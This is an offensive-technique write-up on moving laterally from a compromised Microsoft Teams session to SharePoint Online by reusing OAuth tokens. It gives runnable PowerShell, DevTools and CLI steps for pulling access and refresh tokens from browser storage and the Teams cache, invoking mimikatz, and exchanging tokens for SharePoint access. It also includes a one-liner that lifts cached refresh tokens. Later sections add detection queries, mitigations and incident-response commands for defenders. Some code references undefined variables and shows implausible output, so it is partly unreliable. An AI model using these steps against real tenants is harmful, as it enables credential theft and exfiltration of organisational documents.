MCADDF

[LM-AUTH-014]: Microsoft Teams to SharePoint Authentication Bypass

Metadata

| Attribute | Details | |—|—| | Technique ID | LM-AUTH-014 | | MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material | | Tactic | Lateral Movement | | Platforms | M365 (Microsoft 365) | | Severity | High | | CVE | N/A | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | All M365 tenants with Teams & SharePoint enabled | | Patched In | N/A (Design behavior, requires mitigation) | | Author | SERVTEP – Artur Pchelnikau |

1. EXECUTIVE SUMMARY

Concept: Microsoft Teams and SharePoint Online share authentication contexts within the same M365 tenant. An attacker who compromises a user’s Teams session or Teams client token can abuse the unified authentication platform to access SharePoint resources without re-authentication. This lateral movement exploits the shared OAuth token cache and identity federation between Teams and SharePoint. The attack leverages the fact that both services accept the same Primary Refresh Token (PRT) or access token, allowing seamless cross-service authentication without triggering additional MFA challenges.

Attack Surface: Teams client session cache, Teams web token storage, SharePoint Online API endpoints (REST/CSOM), Microsoft Graph token endpoints.

Business Impact: An attacker gaining access to a user’s Teams session can immediately access all SharePoint sites the user has permission to (read/write/delete documents, steal intellectual property). This is particularly dangerous in organizations where Teams is the primary collaboration hub but SharePoint permissions are not regularly audited.

Technical Context: The attack typically completes in seconds once a Teams session is compromised. Detection is difficult because legitimate cross-service authentication generates identical logs. Stealth is moderate—cross-service token usage may appear in unified audit logs but often goes unreviewed.

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | 2.1.1 | Enforce MFA for all administrative users and sensitive accounts | | DISA STIG | AC-2 | Account Management (M365 accounts must have separate credential isolation per service) | | CISA SCuBA | EXC-18, SHP-5 | Shared mailbox controls and SharePoint external sharing restrictions | | NIST 800-53 | AC-3, AC-4 | Access Control and Information Flow Enforcement | | GDPR | Art. 32 | Security of Processing—access controls to prevent unauthorized data access | | DORA | Art. 9 | Protection and Prevention measures for critical infrastructure | | NIS2 | Art. 21 | Cyber Risk Management—segmentation of authentication contexts | | ISO 27001 | A.9.2.3 | Management of Privileged Access Rights; A.13.2.2 Access to Systems | | ISO 27005 | Section 8 | Risk identification in identity federation scenarios |

2. TECHNICAL PREREQUISITES

Supported Platforms:

Tools:

3. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Teams Web Browser Token Theft & SharePoint Access

Supported Versions: All M365 tenants with Teams Web

Step 1: Extract Teams Access Token from Browser Storage

Objective: Steal the bearer token from the Teams web session using browser DevTools.

Command (Chrome DevTools):

// Open F12 → Application → Local Storage → https://teams.microsoft.com
// Extract: access_token from indexedDB
// Alternative: Open Console and execute:
console.log(document.cookie); // May contain _U token

Expected Output:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Request SharePoint Access Token Using Teams Token

Objective: Exchange Teams token for SharePoint scope using Microsoft Graph token endpoint.

Command (PowerShell):

# Use stolen Teams token to request SharePoint token
$teams_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
$sp_resource = "https://yourtenant.sharepoint.com"

# Decode token to extract refresh_token (if present)
$decode = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($teams_token.Split('.')[1]))
$claims = $decode | ConvertFrom-Json

# Request new token with SharePoint scope
$body = @{
    "grant_type" = "refresh_token"
    "refresh_token" = $refresh_token  # Extracted from Teams token claims
    "client_id" = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"  # Teams client ID
    "resource" = "$sp_resource"
}

$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/token" `
    -Method POST -Body $body
$sp_token = $response.access_token

Expected Output:

{
  "token_type": "Bearer",
  "expires_in": 3599,
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Access SharePoint Sites Using SharePoint Token

Objective: Use the SharePoint token to enumerate and exfiltrate data.

Command (REST API):

$sp_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
$site_url = "https://yourtenant.sharepoint.com/sites/Finance"

# List all documents in Finance site
$headers = @{
    "Authorization" = "Bearer $sp_token"
    "Content-Type" = "application/json"
}

$response = Invoke-RestMethod `
    -Uri "$site_url/_api/web/lists/getbytitle('Documents')/items" `
    -Headers $headers -Method GET

$response.value | Select Title, Created, Modified

Expected Output:

Title                  Created              Modified
-----                  -------              --------
Q4_Budget.xlsx        2024-12-01 10:00    2024-12-15 14:30
CostAnalysis_2025.xls 2024-11-20 09:00    2025-01-05 16:45

What This Means:

OpSec & Evasion:

METHOD 2: Teams Desktop Client Token Extraction & SharePoint Access

Supported Versions: Teams Desktop (all versions)

Step 1: Extract Teams Desktop Client Token from Disk

Objective: Extract cached tokens from Teams desktop client local storage.

Command (PowerShell - Local Admin):

# Teams stores tokens in encrypted cache on Windows
$teams_cache = "$env:APPDATA\Microsoft\Teams\Cache"
$token_files = Get-ChildItem $teams_cache -Filter "*.json" -Recurse

# Look for authentication cache files
Get-ChildItem "$env:APPDATA\Microsoft\Teams" -Filter "*token*" -Recurse -ErrorAction SilentlyContinue | 
    ForEach-Object {
        Write-Host "Token cache: $($_.FullName)"
        Get-Content $_.FullName | ConvertFrom-Json
    }

Expected Output:

access_token    : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...
refresh_token   : 0.ARsA...
scope           : https://graph.microsoft.com/.default offline_access
expires_in      : 3600
token_type      : Bearer

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Use Refresh Token to Obtain SharePoint Token

Objective: Exchange long-lived refresh token for SharePoint access token.

Command (PowerShell):

$refresh_token = "0.ARsA...LONG_TOKEN..."
$tenant_id = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

$body = @{
    "grant_type" = "refresh_token"
    "refresh_token" = $refresh_token
    "client_id" = "1fec8e78-bce4-4aaf-ab1b-5451cc387264"  # Teams app
    "scope" = "https://yourtenant.sharepoint.com/.default offline_access"
}

$token_response = Invoke-RestMethod `
    -Uri "https://login.microsoftonline.com/$tenant_id/oauth2/v2.0/token" `
    -Method POST -Body $body

$sp_token = $token_response.access_token
$new_refresh = $token_response.refresh_token

Write-Host "New SharePoint Token: $sp_token"
Write-Host "New Refresh Token (valid indefinitely): $new_refresh"

Expected Output:

New SharePoint Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF...
New Refresh Token (valid indefinitely): 0.ARsA...

What This Means:

OpSec & Evasion:

METHOD 3: Primary Refresh Token (PRT) Abuse for Teams→SharePoint

Supported Versions: Entra ID joined/hybrid joined Windows 10+ devices with Teams

Step 1: Extract Primary Refresh Token from Device

Objective: Extract the PRT from Windows device and use it for cross-service authentication.

Command (PowerShell - Local System):

# PRT is stored in LSA secret on domain-joined devices
# Requires Local System or Administrative privilege

# Method 1: Use Microsoft Graph to request token (if device admin):
$prt_request = @{
    "client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Azure PowerShell
    "scope" = "https://graph.microsoft.com/.default"
    "grant_type" = "refresh_token"
}

# PRT is automatically available in Entra ID joined context
# Alternative: Extract from LSASS using mimikatz or similar (requires SYSTEM)
mimikatz # privilege::debug
mimikatz # token::list

Expected Output:

Session 0, PrimaryToken: 0 (SYSTEM)
0 -> (SYSTEM)\0 (PrimaryToken: 0)
User Token [0]: \\.\0, type 0 (SYSTEM)

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Request SharePoint Token from PRT

Objective: Use PRT to obtain SharePoint-scoped token.

Command (Azure CLI):

# On device with PRT, use Azure CLI to request tokens
az login  # Uses PRT automatically
az account show  # Verify token context

# Request SharePoint token
az account get-access-token --resource https://yourtenant.sharepoint.com --query accessToken -o tsv > sp_token.txt

# Use token in API call
SP_TOKEN=$(cat sp_token.txt)
curl -H "Authorization: Bearer $SP_TOKEN" \
  "https://yourtenant.sharepoint.com/sites/Finance/_api/web/lists/getbytitle('Documents')/items"

Expected Output:

[
  {"ID": 1, "Title": "Q4_Budget.xlsx", "Created": "2024-12-01T10:00:00Z"},
  {"ID": 2, "Title": "CostAnalysis_2025.xlsx", "Created": "2024-11-20T09:00:00Z"}
]

What This Means:

OpSec & Evasion:

4. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team Tests:

Simulation Command (Minimal Impact):

# Simulate token extraction without actual data access
$token_file = "$env:TEMP\teams_token_simulation.txt"
$mock_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRFIn0.eyJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldCIsImFjcCI6ImFwcDEiLCJhaWQiOiI5MzQ1NjQ5NS1jOGU0LTQyZjUtYTQ5NS1jODhjM2U4ZTU3YjciLCJhcHBpZCI6IjFmZWM4ZTc4LWJjZTQtNGFhZi1hYjFiLTU0NTFjYzM4NzI2NCIsImFwcGlkYWNyIjoiMCIsImZhbWlseW5hbWUiOiJEb2UiLCJnaXZlbm5hbWUiOiJKb2huIiwiaXBhZGRyIjoiMTkyLjE2OC4xLjEwMCIsIm5hbWUiOiJKb2huIERvZSIsIm9pZCI6IjEyMzQ1Njc4LWFiY2QtZWZnaC1pamt0Iiwicm9sZXMiOlsiR3JhcGguUmVhZC5BbGwiXSwic3ViIjoiQm85dFczV3hjMWRBWGRoRm81UUZ6MWl2OUhpWUJkZ2VkczE0RzZIcU83RkkyRTgiLCJ0aWQiOiI3Mzc2YjZkOS1kNWQyLTQxZjItYjZjMi1hN2ZkMmE5NDRhNzgiLCJ1bmlxdWVfbmFtZSI6ImpvaG4uZG9lQGNvbnRvc28uY29tIiwidXBuIjoiam9obi5kb2VAY29udG9zby5jb20iLCJ1dGkiOiJuX2VQWTMwMFJrMEt1NGtuUjJsdnJBUSIsInZlciI6IjEuMCJ9.example_signature" 

Write-Host "Simulated Teams token (base64 encoded): $mock_token" | Out-File $token_file
Write-Host "Token saved to: $token_file"

# Cleanup
Remove-Item $token_file -Force

Cleanup Command:

# No persistent changes with simulation
Write-Host "Token simulation complete - no data modified"

Reference:

5. TOOLS & COMMANDS REFERENCE

AADInternals

Version: 0.9.7+ Minimum Version: 0.9.0 Supported Platforms: Windows (PowerShell 5.0+)

Installation:

Install-Module -Name AADInternals -Force
Import-Module AADInternals

Usage (Token Analysis):

# Decode and analyze Teams token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImpwMW1nMWRF..."
Parse-JWTToken -Token $token | Select exp, scp, aud

# Get current access token (requires interactive session)
Get-AADIntAccessToken -SaveToCache

Microsoft Graph PowerShell SDK

Version: 2.10.0+ Minimum Version: 2.0.0 Supported Platforms: Windows, macOS, Linux

Installation:

Install-Module Microsoft.Graph -Force
Connect-MgGraph -Scopes "Directory.Read.All"

Usage (List SharePoint Sites):

Get-MgSite | Select DisplayName, WebUrl
Get-MgSiteLists -SiteId "yoursiteid" | Select DisplayName

One-Liner: Extract Teams Token & Request SharePoint Access

$auth = Invoke-RestMethod -Uri "https://login.microsoftonline.com/common/oauth2/token" -Method POST -Body @{grant_type='refresh_token';refresh_token=$(Get-Content "$env:APPDATA\Microsoft\Teams\Cache\tokens.json" | ConvertFrom-Json | Select -ExpandProperty refresh_token);client_id='1fec8e78-bce4-4aaf-ab1b-5451cc387264';resource='https://yourtenant.sharepoint.com'} -ErrorAction SilentlyContinue; $auth.access_token | Write-Host

6. SPLUNK DETECTION RULES

Rule 1: Cross-Service Token Exchange (Teams→SharePoint)

Rule Configuration:

SPL Query:

index=o365:audit sourcetype="azure:aad:audit" 
  (app_name="Teams" OR app_name="Microsoft Teams")
  (operation="GetAccessTokenByRefreshToken" OR operation="IssueAccessToken")
  resource=*sharepoint*
| stats dc(resource) as unique_resources by user, src_ip
| where unique_resources > 2
| table user, src_ip, unique_resources, app_name, resource

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to "unique_resources > 2"
  6. Configure Action → Send email to SOC with alert details
  7. Set Frequency to run every 5 minutes

False Positive Analysis:

Source: Microsoft O365 Audit Log Schema

7. MICROSOFT SENTINEL DETECTION

Query 1: Anomalous Teams-SharePoint Token Exchange

Rule Configuration:

KQL Query:

AuditLogs
| where AppDisplayName == "Microsoft Teams"
| where OperationName in ("Update service principal", "Add service principal")
    or Properties contains "SharePoint" or Properties contains "oauth2/token"
| extend RequestProperties = parse_json(tostring(Properties))
| summarize TokenExchangeCount = dcount(OperationName) by 
    UserId, InitiatedByUser, AppDisplayName, TimeGenerated
| where TokenExchangeCount > 3
| project UserId, InitiatedByUser, AppDisplayName, TimeGenerated, TokenExchangeCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Teams-to-SharePoint Token Exchange Anomaly
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Alert grouping: Group alerts into single incident if properties match: UserId, AppDisplayName
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the analytics rule
$rule = @{
    DisplayName = "Teams-to-SharePoint Token Exchange"
    Query = @"
AuditLogs
| where AppDisplayName == "Microsoft Teams"
| where OperationName in ("Update service principal", "Add service principal")
| extend RequestProperties = parse_json(tostring(Properties))
| summarize TokenExchangeCount = dcount(OperationName) by UserId, InitiatedByUser, AppDisplayName
| where TokenExchangeCount > 3
"@
    Severity = "High"
    Enabled = $true
}

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName @rule

Source: Microsoft Sentinel Detection Queries

8. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Teams-SharePoint Cross-Service Authentication

Alert Name: “Anomalous OAuth2 token exchange between Teams and SharePoint”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings → Select your subscription
  3. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON (for AD authentication logs)
    • Defender for Cloud Apps: ON (for OAuth monitoring)
  4. Click Save
  5. Go to Alerts to view triggered alerts
  6. Filter by: Resource Type = “Applications” AND Severity = “High”

Reference: Microsoft Defender for Cloud Alerts

9. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Teams-SharePoint Token Exchange Activity

Search-UnifiedAuditLog -Operations "IssueAccessToken", "GetAccessTokenByRefreshToken" -StartDate (Get-Date).AddDays(-1) | 
  Where-Object {$_.AuditData -like "*SharePoint*"} | 
  Select Timestamp, UserIds, ClientIP, SourceFileName | 
  Export-Csv -Path "C:\AuditLogs\TeamsSharePointTokens.csv"

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to Audit → Search
  2. Set Date range: Last 7 days
  3. Under Activities, select: IssueAccessToken, GetAccessTokenByRefreshToken
  4. Under Users, enter: (Leave blank to search all users)
  5. Click Search
  6. Export results: Export → Download all results

PowerShell Alternative:

# Connect to compliance workload
Connect-IPPSSession

# Search for Teams token exchange to SharePoint
Search-UnifiedAuditLog -Free -StartDate "2026-01-01" -EndDate "2026-01-15" `
  -Operations "IssueAccessToken" -ResultSize 5000 | 
  Where-Object {$_.AuditData -match "sharepoint"} | 
  Export-Csv "C:\TeamsSharePointAudit.csv"

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if Token Binding Conditional Access is enforced
Get-AzureADMSConditionalAccessPolicy | 
  Where-Object {$_.DisplayName -like "*Token*Binding*"} | 
  Select DisplayName, State, Conditions

# Check Teams permissions in Entra ID
Get-AzureADServicePrincipal -Filter "AppId eq '1fec8e78-bce4-4aaf-ab1b-5451cc387264'" | 
  Get-AzureADServiceAppRoleAssignment | 
  Select DisplayName, Id

Expected Output (If Secure):

DisplayName           State
-----------           -----
Token Binding Policy  enabled

DisplayName                          Id
-----------                          --
Microsoft Graph (User.Read only)     1234567890abcdef

What to Look For:

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Disable User Account): 
    Set-AzureADUser -ObjectId "user@yourtenant.onmicrosoft.com" -AccountEnabled $false

    Manual (Azure Portal):

    • Go to Azure Portal → Entra ID → Users → Select user → Account Enabled: No → Save
  2. Collect Evidence: Command (Export Audit Logs): 
    Search-UnifiedAuditLog -UserIds "attacker@yourtenant.onmicrosoft.com" -StartDate (Get-Date).AddDays(-7) -ResultSize 5000 | 
  Export-Csv "C:\Evidence\AttackerAuditLog.csv"

    Manual:

    • Navigate to Microsoft Purview Compliance Portal → Audit → Search
    • Filter by user, date range, and operations
    • Click Export → Download all results
  3. Revoke Tokens: Command: 
    # Revoke all user sessions
Revoke-AzureADUserAllRefreshToken -ObjectId "attacker@yourtenant.onmicrosoft.com"
   
# Force re-authentication
Update-MgUser -UserId "attacker@yourtenant.onmicrosoft.com" -PasswordProfile @{ForceChangePasswordNextSignIn=$true}

    Manual:

    • Go to Azure Portal → Entra ID → Users → Select user → Session management → Revoke sessions
  4. Review SharePoint Access Logs: Command: 
    Search-UnifiedAuditLog -Operations "FileDownloaded", "FileAccessedExtended" -StartDate (Get-Date).AddDays(-7) -ResultSize 5000 | 
  Where-Object {$_.AuditData -like "*attacker@yourtenant*"} | Export-Csv "C:\Evidence\SharePointAccess.csv"
Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attacks Attacker tricks user into granting Teams app elevated permissions
2 Credential Access [CA-TOKEN-001] Hybrid AD Cloud Token Theft Attacker extracts Teams session token from compromised device
3 Current Step [LM-AUTH-014] Microsoft Teams to SharePoint Authentication Bypass
4 Collection [Collection] SharePoint Document Enumeration Attacker discovers and exfiltrates sensitive documents
5 Exfiltration [Exfiltration] Bulk Data Download Attacker downloads documents via SharePoint REST API
6 Impact [Impact] Data Breach, IP Theft Attacker sells stolen data or causes business disruption

13. REAL-WORLD EXAMPLES

Example 1: Microsoft Teams Client Token Extraction (2024)

Example 2: OAuth Consent Grant + Teams→SharePoint Pivot (2023)

18. NOTES & APPENDIX

Technique Complexity: Moderate (requires prior Teams session compromise, but token reuse is trivial)

Detection Difficulty: Medium (legitimate cross-service auth, requires log correlation and behavioral analysis)

Persistence Potential: High (refresh tokens can persist indefinitely if not rotated)

Cross-Platform Applicability: High (affects all M365 tenants with Teams + SharePoint)

Related Techniques:

This site is open source. Improve this page.